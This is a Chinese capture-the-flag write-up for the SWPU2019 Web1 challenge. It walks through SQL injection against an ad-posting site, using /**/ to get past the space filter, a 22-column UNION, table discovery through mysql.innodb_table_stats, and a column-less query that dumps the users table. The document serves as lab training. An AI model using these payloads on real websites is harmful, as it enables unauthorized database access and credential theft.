[SWPU2019]Web1
作者:互联网
[SWPU2019]Web1 WriteUp
知识点
-
多了解一些可用来查询的表
除了常用的information_schema里面的TABLES、COLUMNS、SCHEMATA。
还有sys里面的schema_auto_increment_columns 记录这某个列自动增加的表名。
列名 值
table_schema 这个表的数据库名
table_name 符合条件的表名
column_name 自动增加的列名
还有mysql里面的innodb_index_stats 和 innodb_table_stats (包含所有自定义的表)
列名 值
database_name 数据库名
table_name 表名
-
无列名注入
模板:select * from ads where name='-1' union select 1,(select group_concat(a,0x7e,b) from (select 1,2 as a,3 as b union select * from user)xxx),3,4,5,6
题解
-
解题思路,先扫一下,发现没有什么泄露。根据经验试了一下,admin的密码不知道。就注册一下,然后登录,发广告。发现sql注入。 这种类似的题还有劫持session,以admin的身份登录,就会出来flag了。但是,这道题考察的就是sql注入。
-
简单判断是单引号闭合,并且过滤了or and 空格 注释。所以order,information_schema不能用了。
-
用/**/代替空格,一个一个试,发现字段数是22
-
且字段2和字段3可以显示。查看版本和数据库,数据库名为web1
123'/**/uNIon/**/select/**/1,2,concat(version(),0x7e,schema()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
-
然后查询表名。sys.schema_auto_increment_columns不能用,用mysql.innodb_table_stats,表名为ads,users。
123'/**/uNIon/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=schema()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
-
根据经验判断,ads里面存储的就是广告等等,而user里面存储的就是注册的账号密码,还有可能存在flag。列名只有information_schema.COLUMNS 里面有,所以只能无列名注入了。根据经验,users表中就三个字段,猜测字段名分别为id,username,password
-
查询user表里面的内容
123'/**/uNIon/**/select/**/1,2,(select/**/group_concat(a,0x7e,b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)xxx),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
-
可以看出,users里面有2个账号admin和我注册的admin123。密码应该是md5加密的。
标签:name,22,列名,Web1,table,SWPU2019,select,schema 来源: https://www.cnblogs.com/Q-and-K/p/16212547.html